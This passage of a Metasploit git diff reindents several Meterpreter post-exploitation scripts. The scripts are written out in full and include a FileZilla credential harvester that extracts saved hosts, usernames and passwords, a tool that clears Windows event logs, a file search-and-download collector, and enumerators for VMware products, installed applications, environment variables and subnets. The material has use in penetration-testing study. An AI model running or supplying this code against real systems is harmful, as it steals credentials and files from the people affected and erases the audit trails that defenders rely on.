@client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - profilepath = "\\AppData\\Local\\VMware\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\Application Data\\VMware\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + profilepath = "\\AppData\\Local\\VMware\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\Application Data\\VMware\\" + end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end def enum_vihosupdt - hosts = [] - print_status("Information about VMware vSphere Host Update Utility:") - enum_users.each do |u| - print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") - begin - @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| - next if vmdir =~ /^(\.|\.\.)$/ - print_status("\t#{vmdir}") - end - rescue - end - end + hosts = [] + print_status("Information about VMware vSphere Host Update Utility:") + enum_users.each do |u| + print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:") + begin + @client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir| + next if vmdir =~ /^(\.|\.\.)$/ + print_status("\t#{vmdir}") + end + rescue + end + end end def enum_vmwarewrk - config = "" - name = "" - print_status("Enumerating VMware Workstation VM's:") - fav_file = "" - enum_users.each do |u| - print_status("\tVM's for user #{u['username']}:") - path = u['userappdata'].gsub(/Local/,"Roaming") - account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") - until account_file.eof? - fav_file << account_file.read - end - end - fav_file.each_line do |l| + config = "" + name = "" + print_status("Enumerating VMware Workstation VM's:") + fav_file = "" + enum_users.each do |u| + print_status("\tVM's for user #{u['username']}:") + path = u['userappdata'].gsub(/Local/,"Roaming") + account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb") + until account_file.eof? + fav_file << account_file.read + end + end + fav_file.each_line do |l| - if l =~ /config/ - print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") - end - if l =~ /Name/ - print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") - print_status("") - end - end + if l =~ /config/ + print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") + end + if l =~ /Name/ + print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}") + print_status("") + end + end end if client.platform =~ /win32|win64/ - if check_vmsoft - vmware_products = check_prods() - if vmware_products.include?("VMware VirtualCenter") - enum_vcenter - end - if vmware_products.include?("VMware Virtual Infrastructure Client") - enum_viclient - end - if vmware_products.include?("VMware Update Manager") - enum_vum - end + if check_vmsoft + vmware_products = check_prods() + if vmware_products.include?("VMware VirtualCenter") + enum_vcenter + end + if vmware_products.include?("VMware Virtual Infrastructure Client") + enum_viclient + end + if vmware_products.include?("VMware Update Manager") + enum_vum + end - if vmware_products.include?("VMware VDM") - enum_vdm - end - if vmware_products.include?("VMware vSphere PowerCLI") - enum_powercli - end - if vmware_products.include?("VMware vSphere Host Update Utility 4.0") - enum_vihosupdt - end - if vmware_products.include?("VMware Workstation") - enum_vmwarewrk - end - else - print_status("No VMware Products appear to be installed in this host") - end + if vmware_products.include?("VMware VDM") + enum_vdm + end + if vmware_products.include?("VMware vSphere PowerCLI") + enum_powercli + end + if vmware_products.include?("VMware vSphere Host Update Utility 4.0") + enum_vihosupdt + end + if vmware_products.include?("VMware Workstation") + enum_vmwarewrk + end + else + print_status("No VMware Products appear to be installed in this host") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 9ddcd85a05..18fcaa8595 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -13,13 +13,13 @@ filter = '\d*' filter_string = "*" meter_type = client.platform opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-i" => [ false, "Show information about Event Logs on the System and their configuration"], - "-l" => [ true, "List a given Event Log."], - "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], - "-f" => [ true, "Event ID to filter events on"], - "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], - "-p" => [ false, "Supress printing filtered logs to screen"] + "-h" => [ false, "Help menu" ], + "-i" => [ false, "Show information about Event Logs on the System and their configuration"], + "-l" => [ true, "List a given Event Log."], + "-c" => [ true, "Clear a given Event Log (or ALL if no argument specified)"], + "-f" => [ true, "Event ID to filter events on"], + "-s" => [ true, "Save logs to local CSV file, optionally specify alternate folder in which to save logs"], + "-p" => [ false, "Supress printing filtered logs to screen"] ) @@ -28,171 +28,171 @@ opts = Rex::Parser::Arguments.new( # Usage Message Function #------------------------------------------------------------------------------- def usage(opts) - print_line "Meterpreter Script for Windows Event Log Query and Clear." - print_line(opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for Windows Event Log Query and Clear." + print_line(opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end # Function for Enumerating EventLogs #------------------------------------------------------------------------------- def get_log_details - logs_detail = Array.new + logs_detail = Array.new - eventlog_list.each do |log_name| + eventlog_list.each do |log_name| - # Create a hash to store the log info in (and throw default info in) - log_detail = Hash.new - log_detail[:name] = log_name - log_detail[:retention] = "Disabled" - log_detail[:size] = 0 - log_detail[:number_of_records] = 0 + # Create a hash to store the log info in (and throw default info in) + log_detail = Hash.new + log_detail[:name] = log_name + log_detail[:retention] = "Disabled" + log_detail[:size] = 0 + log_detail[:number_of_records] = 0 - key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ - key = "#{key}Eventlog" - else - key = "#{key}eventlog" - end + key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" + if @client.sys.config.sysinfo['OS'] =~ /Windows 2003|.Net|XP|2000/ + key = "#{key}Eventlog" + else + key = "#{key}eventlog" + end - begin - unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end - log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") + begin + unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end + log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - # Open the event log - eventlog = @client.sys.eventlog.open(log_name) - log_detail[:num_of_records] = eventlog.length - rescue - log_detail[:num_of_records] = "Access Denied" - end + # Open the event log + eventlog = @client.sys.eventlog.open(log_name) + log_detail[:num_of_records] = eventlog.length + rescue + log_detail[:num_of_records] = "Access Denied" + end - logs_detail << log_detail - end + logs_detail << log_detail + end - return logs_detail + return logs_detail end # Function for Printing Event Log Details #------------------------------------------------------------------------------- def print_log_details - print_status("Retriving Event Log Configuration") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Event Logs on System", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Retention", - "Maximum Size", - "Records" - ]) + print_status("Retriving Event Log Configuration") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Event Logs on System", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Retention", + "Maximum Size", + "Records" + ]) - eventlog_details = get_log_details + eventlog_details = get_log_details - eventlog_details.each do |log_detail| - tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] - end + eventlog_details.each do |log_detail| + tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] + end - print_line("\n" + tbl.to_s + "\n") + print_line("\n" + tbl.to_s + "\n") end # Function for doings queries of EventLogs #------------------------------------------------------------------------------- def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) - begin - event_data = "" - csv_data = "EventID,Date,Data\n" - log = @client.sys.eventlog.open(eventlog_name) - log.each_backwards do |e| - if e.eventid.to_s =~ /#{filter}/ - if not sup_print - print_status("EventID: #{e.eventid}") - print_status("Date: #{e.generated}") - print_status("Data:") - e.strings.each do |l| - l.split("\r\n").each do |ml| - print_status("\t#{ml.chomp}") - event_data << " #{ml.chomp}" - end - end - print_status - end - csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" - event_data = "" - end - end - rescue - print_error("Failed to Open Event Log #{eventlog_name}") - raise Rex::Script::Completed - end + begin + event_data = "" + csv_data = "EventID,Date,Data\n" + log = @client.sys.eventlog.open(eventlog_name) + log.each_backwards do |e| + if e.eventid.to_s =~ /#{filter}/ + if not sup_print + print_status("EventID: #{e.eventid}") + print_status("Date: #{e.generated}") + print_status("Data:") + e.strings.each do |l| + l.split("\r\n").each do |ml| + print_status("\t#{ml.chomp}") + event_data << " #{ml.chomp}" + end + end + print_status + end + csv_data << "#{e.eventid},#{e.generated},\"#{event_data}\"\n" + event_data = "" + end + end + rescue + print_error("Failed to Open Event Log #{eventlog_name}") + raise Rex::Script::Completed + end - if local_log - log_file = File.join(logs, "#{eventlog_name}.csv") - print_good("CSV File saved to #{log_file}") - file_local_write(log_file,csv_data) - end + if local_log + log_file = File.join(logs, "#{eventlog_name}.csv") + print_good("CSV File saved to #{log_file}") + file_local_write(log_file,csv_data) + end end # Function for clearing EventLogs #------------------------------------------------------------------------------- def clear_logs(log_name=nil) - log_names = [] - if log_name.nil? - log_names = eventlog_list - else - log_names << log_name - end + log_names = [] + if log_name.nil? + log_names = eventlog_list + else + log_names << log_name + end - log_names.each do |name| - begin - print_status("Clearing #{name}") - event_log = @client.sys.eventlog.open(name) - event_log.clear - print_status("Event Log #{name} Cleared!") - rescue - print_error("Failed to Clear #{name}, Access Denied") - end - end + log_names.each do |name| + begin + print_status("Clearing #{name}") + event_log = @client.sys.eventlog.open(name) + event_log.clear + print_status("Event Log #{name} Cleared!") + rescue + print_error("Failed to Clear #{name}, Access Denied") + end + end - return log_names + return log_names end ################## Main ################## opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage(opts) - when "-i" - print_logs = true - print_log_details - raise Rex::Script::Completed - when "-c" - clear_logs = true - eventlog_name = val - when "-l" - list_logs = true - eventlog_name = val - when "-f" - filter = val - when "-s" - local_log = true - if File.directory?(val) - local_log_path = val - else - print_error("Log folder #{val} does not exist!") - raise Rex::Script::Completed - end - when "-p" - supress_print = true - end + case opt + when "-h" + usage(opts) + when "-i" + print_logs = true + print_log_details + raise Rex::Script::Completed + when "-c" + clear_logs = true + eventlog_name = val + when "-l" + list_logs = true + eventlog_name = val + when "-f" + filter = val + when "-s" + local_log = true + if File.directory?(val) + local_log_path = val + else + print_error("Log folder #{val} does not exist!") + raise Rex::Script::Completed + end + when "-p" + supress_print = true + end } # Check for Version of Meterpreter @@ -201,7 +201,7 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i # Print usage & exit if the user didn't specify an action # to default to just running for all logs) if !list_logs and !clear_logs and !print_logs - usage(opts) + usage(opts) end # Log Folder Creation @@ -214,31 +214,31 @@ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for any local logging if the user desires if local_log - if local_log_path - logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + if local_log_path + logs = ::File.join(local_log_path, Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - ::FileUtils.mkdir_p(logs) + ::FileUtils.mkdir_p(logs) end # List the logs if the user desires if list_logs and eventlog_name - list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) + list_logs(eventlog_name,filter,filter_string,logs,local_log,supress_print) else - print_error("You must specify and eventlog to query!") + print_error("You must specify and eventlog to query!") end # Finally, clear the specified logs if the user desires if clear_logs - if eventlog_name - clear_logs(eventlog_name) - else - eventlog_list.each do |eventlog_name| - print_status eventlog_name + ": " - clear_logs(eventlog_name) - end - end + if eventlog_name + clear_logs(eventlog_name) + else + eventlog_list.each do |eventlog_name| + print_status eventlog_name + ": " + clear_logs(eventlog_name) + end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 30e8cb40b2..4ac88d6f56 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -8,73 +8,73 @@ output_file = nil recurse = false logs = nil @opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help menu." ], - "-i" => [true, "Input file with list of files to download, one per line."], - "-d" => [true, "Directory to start search on, search will be recursive."], - "-f" => [true, "Search blobs separated by a |."], - "-o" => [true, "Output File to save the full path of files found."], - "-r" => [false, "Search subdirectories."], - "-l" => [true, "Location where to save the files."] + "-h" => [false, "Help menu." ], + "-i" => [true, "Input file with list of files to download, one per line."], + "-d" => [true, "Directory to start search on, search will be recursive."], + "-f" => [true, "Search blobs separated by a |."], + "-o" => [true, "Output File to save the full path of files found."], + "-r" => [false, "Search subdirectories."], + "-l" => [true, "Location where to save the files."] ) # Function for displaying help message def usage - print_line "Meterpreter Script for searching and downloading files that" - print_line "match a specific pattern. First save files to a file, edit and" - print_line("use that same file to download the choosen files.") - print_line(@opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for searching and downloading files that" + print_line "match a specific pattern. First save files to a file, edit and" + print_line("use that same file to download the choosen files.") + print_line(@opts.usage) + raise Rex::Script::Completed end # Check that we are running under the right type of Meterpreter if client.platform =~ /win32|win64/ - # Parse the options - if args.length > 0 - @opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - input_file = val - when "-o" - output_file = val - when "-d" - location = val - when "-f" - search_blob = val.split("|") - when "-r" - recurse = true - when "-l" - logs = val - end - } - # Search for files and save their location if specified - if search_blob.length > 0 and location - search_blob.each do |s| - print_status("Searching for #{s}") - results = @client.fs.file.search(location,s,recurse) - results.each do |file| - print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") - file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file - end - end - end - # Read log file and download those files found - if input_file and logs - if ::File.exists?(input_file) - print_status("Reading file #{input_file}") - print_status("Downloading to #{logs}") - ::File.open(input_file, "r").each_line do |line| - print_status("\tDownloading #{line.chomp}") - @client.fs.file.download(logs, line.chomp) - end - else - print_error("File #{input_file} does not exist!") - end - end - else - usage - end + # Parse the options + if args.length > 0 + @opts.parse(args) { |opt, idx, val| + case opt + when "-h" + usage + when "-i" + input_file = val + when "-o" + output_file = val + when "-d" + location = val + when "-f" + search_blob = val.split("|") + when "-r" + recurse = true + when "-l" + logs = val + end + } + # Search for files and save their location if specified + if search_blob.length > 0 and location + search_blob.each do |s| + print_status("Searching for #{s}") + results = @client.fs.file.search(location,s,recurse) + results.each do |file| + print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") + file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file + end + end + end + # Read log file and download those files found + if input_file and logs + if ::File.exists?(input_file) + print_status("Reading file #{input_file}") + print_status("Downloading to #{logs}") + ::File.open(input_file, "r").each_line do |line| + print_status("\tDownloading #{line.chomp}") + @client.fs.file.download(logs, line.chomp) + end + else + print_error("File #{input_file} does not exist!") + end + end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index bdcd805351..51fd9cb278 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -3,61 +3,61 @@ #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def app_list - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Installed Applications", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Version" - ]) - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - threadnum = 0 - a = [] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - if dispnm =~ /\S*/ - tbl << [dispnm,dispversion] - end - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Installed Applications", + 'Indent' => 1, + 'Columns' => [ + "Name", + "Version" + ]) + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + threadnum = 0 + a = [] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + if dispnm =~ /\S*/ + tbl << [dispnm,dispversion] + end + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end - end - print_line("\n" + tbl.to_s + "\n") + end + print_line("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list installed applications and their version." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list installed applications and their version." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - app_list + app_list else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index 5bc85bf89e..dde47e4782 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,7 +1,7 @@ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) var_names = [] var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment") @@ -9,34 +9,34 @@ var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment") var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment") def list_env_vars(var_names) - print_status("Getting all System and User Variables") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Enviroment Variable list", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Value" - ]) - var_names.flatten.each do |v| - tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] - end - print("\n" + tbl.to_s + "\n") + print_status("Getting all System and User Variables") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Enviroment Variable list", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Value" + ]) + var_names.flatten.each do |v| + tbl << [v,@client.fs.file.expand_path("\%#{v}\%")] + end + print("\n" + tbl.to_s + "\n") end opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting a list of all System and User environment variables." - print_line(opts.usage) - raise Rex::Script::Completed + case opt + when "-h" + print_line "Meterpreter Script for extracting a list of all System and User environment variables." + print_line(opts.usage) + raise Rex::Script::Completed - end + end } if client.platform =~ /win32|win64/ - list_env_vars(var_names) + list_env_vars(var_names) else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 2944f6018e..55e6c2cd3d 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -4,26 +4,26 @@ require "rexml/document" #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ false, "Return credentials." ] + "-h" => [ false, "Help menu." ], + "-c" => [ false, "Return credentials." ] ) get_credentials=false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting servers and credentials from Filezilla." - print_line(opts.usage) - raise Rex::Script::Completed - when "-c" - get_credentials=true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting servers and credentials from Filezilla." + print_line(opts.usage) + raise Rex::Script::Completed + when "-c" + get_credentials=true + end } ### If we get here and have none of our flags true, then we'll just ### get credentials if !(get_credentials) - get_credentials=true + get_credentials=true end #------------------------------------------------------------------------------- @@ -43,129 +43,129 @@ dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt") #------------------------------------------------------------------------------- #function for checking of FileZilla profile is present def check_filezilla(path) - found = nil - @client.fs.dir.foreach(path) do |x| - next if x =~ /^(\.|\.\.)$/ - if x =~ (/FileZilla/) - ### If we find the path, let's return it - found = path + x - return found - end - end - return found + found = nil + @client.fs.dir.foreach(path) do |x| + next if x =~ /^(\.|\.\.)$/ + if x =~ (/FileZilla/) + ### If we find the path, let's return it + found = path + x + return found + end + end + return found end #------------------------------------------------------------------------------- def extract_saved_creds(path,xml_file) - accounts_xml = "" - creds = "" - print_status("Reading #{xml_file} file...") - ### modified to use pidgin_path, which already has .purple in it - account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") - until account_file.eof? - accounts_xml << account_file.read - end - account_file.close - doc = (REXML::Document.new accounts_xml).root - doc.elements.to_a("//Server").each do |e| - print_status "\tHost: #{e.elements["Host"].text}" - creds << "Host: #{e.elements["Host"].text}" - print_status "\tPort: #{e.elements["Port"].text}" - creds << "Port: #{e.elements["Port"].text}" - logon_type = e.elements["Logontype"].text - if logon_type == "0" - print_status "\tLogon Type: Anonymous" - creds << "Logon Type: Anonymous" - elsif logon_type =~ /1|4/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - print_status "\tPassword: #{e.elements["Pass"].text}" - creds << "Password: #{e.elements["Pass"].text}" - elsif logon_type =~ /2|3/ - print_status "\tUser: #{e.elements["User"].text}" - creds << "User: #{e.elements["User"].text}" - end + accounts_xml = "" + creds = "" + print_status("Reading #{xml_file} file...") + ### modified to use pidgin_path, which already has .purple in it + account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb") + until account_file.eof? + accounts_xml << account_file.read + end + account_file.close + doc = (REXML::Document.new accounts_xml).root + doc.elements.to_a("//Server").each do |e| + print_status "\tHost: #{e.elements["Host"].text}" + creds << "Host: #{e.elements["Host"].text}" + print_status "\tPort: #{e.elements["Port"].text}" + creds << "Port: #{e.elements["Port"].text}" + logon_type = e.elements["Logontype"].text + if logon_type == "0" + print_status "\tLogon Type: Anonymous" + creds << "Logon Type: Anonymous" + elsif logon_type =~ /1|4/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + print_status "\tPassword: #{e.elements["Pass"].text}" + creds << "Password: #{e.elements["Pass"].text}" + elsif logon_type =~ /2|3/ + print_status "\tUser: #{e.elements["User"].text}" + creds << "User: #{e.elements["User"].text}" + end - proto = e.elements["Protocol"].text - if proto == "0" - print_status "\tProtocol: FTP" - creds << "Protocol: FTP" - elsif proto == "1" - print_status "\tProtocol: SSH" - creds << "Protocol: SSH" - elsif proto == "3" - print_status "\tProtocol: FTPS" - creds << "Protocol: FTPS" - elsif proto == "4" - print_status "\tProtocol: FTPES" - creds << "Protocol: FTPES" - end - print_status "" - creds << "" + proto = e.elements["Protocol"].text + if proto == "0" + print_status "\tProtocol: FTP" + creds << "Protocol: FTP" + elsif proto == "1" + print_status "\tProtocol: SSH" + creds << "Protocol: SSH" + elsif proto == "3" + print_status "\tProtocol: FTPS" + creds << "Protocol: FTPS" + elsif proto == "4" + print_status "\tProtocol: FTPES" + creds << "Protocol: FTPES" + end + print_status "" + creds << "" - end + end # - return creds + return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) - users = [] + users = [] - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /7|Vista|2008/ - path4users = sysdrv + "\\users\\" - path2purple = "\\AppData\\Roaming\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - path2purple = "\\Application Data\\" - end + if os =~ /7|Vista|2008/ + path4users = sysdrv + "\\users\\" + path2purple = "\\AppData\\Roaming\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + path2purple = "\\Application Data\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + path2purple - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + path2purple - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + path2purple + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + path2purple + users << userinfo + end + return users end ################## MAIN ################## if client.platform =~ /win32|win64/ - print_status("Running Meterpreter FileZilla Credential harvester script") - print_status("All services are logged at #{dest}") - enum_users(os).each do |u| - print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") - ### Find the path (if it exists) for this user, - filezilla_path = check_filezilla(u['userappdata']) - if filezilla_path - print_status("FileZilla profile found!") - ### modified to use filezilla_path - xml_cfg_files = ['sitemanager.xml','recentservers.xml'] - if get_credentials - xml_cfg_files.each do |xml_cfg_file| - file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) - end - end + print_status("Running Meterpreter FileZilla Credential harvester script") + print_status("All services are logged at #{dest}") + enum_users(os).each do |u| + print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...") + ### Find the path (if it exists) for this user, + filezilla_path = check_filezilla(u['userappdata']) + if filezilla_path + print_status("FileZilla profile found!") + ### modified to use filezilla_path + xml_cfg_files = ['sitemanager.xml','recentservers.xml'] + if get_credentials + xml_cfg_files.each do |xml_cfg_file| + file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file)) + end + end - else - print_error("Filezilla profile not found!") - end - end + else + print_error("Filezilla profile not found!") + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index 3622811d57..aec4a583be 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -3,26 +3,26 @@ # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("Get a list of local subnets based on the host's routes") - print_line("USAGE: run get_local_subnets") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Get a list of local subnets based on the host's routes") + print_line("USAGE: run get_local_subnets") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - end + case opt + when "-h" + usage + end } client.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - print_line("Local subnet: #{route.subnet}/#{route.netmask}") + # Remove multicast and 